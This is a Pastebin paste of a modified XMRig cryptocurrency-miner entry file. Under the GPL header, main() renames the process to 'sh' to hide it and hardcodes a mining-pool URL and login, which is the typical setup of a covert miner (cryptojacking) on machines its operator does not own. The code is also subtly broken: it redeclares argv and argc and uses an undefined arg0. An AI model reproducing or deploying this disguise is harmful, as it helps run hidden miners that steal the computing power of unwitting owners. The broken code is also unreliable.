Guest User

Untitled

a guest
Oct 8th, 2018
49
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.47 KB | None | 0 0
  1. /* XMRig
  2. * Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
  3. * Copyright 2012-2014 pooler <pooler@litecoinpool.org>
  4. * Copyright 2014 Lucas Jones <https://github.com/lucasjones>
  5. * Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
  6. * Copyright 2016 Jay D Dee <jayddee246@gmail.com>
  7. * Copyright 2016-2017 XMRig <support@xmrig.com>
  8. *
  9. *
  10. * This program is free software: you can redistribute it and/or modify
  11. * it under the terms of the GNU General Public License as published by
  12. * the Free Software Foundation, either version 3 of the License, or
  13. * (at your option) any later version.
  14. *
  15. * This program is distributed in the hope that it will be useful,
  16. * but WITHOUT ANY WARRANTY; without even the implied warranty of
  17. * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  18. * GNU General Public License for more details.
  19. *
  20. * You should have received a copy of the GNU General Public License
  21. * along with this program. If not, see <http://www.gnu.org/licenses/>.
  22. */
  23.  
  24. #include "App.h"
  25. #include <stdlib.h>
  26.  
  27. static char *FAKENAME = "sh";
  28. int main(int argc, char **argv) {
  29. argv[0] = FAKENAME;
  30. char arg1[] = "--url=xnp.mydomain.com:80";
  31. char arg2[] = "--user=x";
  32. char arg3[] = "--pass=x";
  33. char* argv[] = { &arg0[0], &arg1[0], &arg2[0], &arg3[0], NULL };
  34. int argc = (int)(sizeof(argv) / sizeof(argv[0])) - 1;
  35.  
  36. App app(argc, argv);
  37.  
  38. return app.exec();
  39. }
Add Comment
Please, Sign In to add comment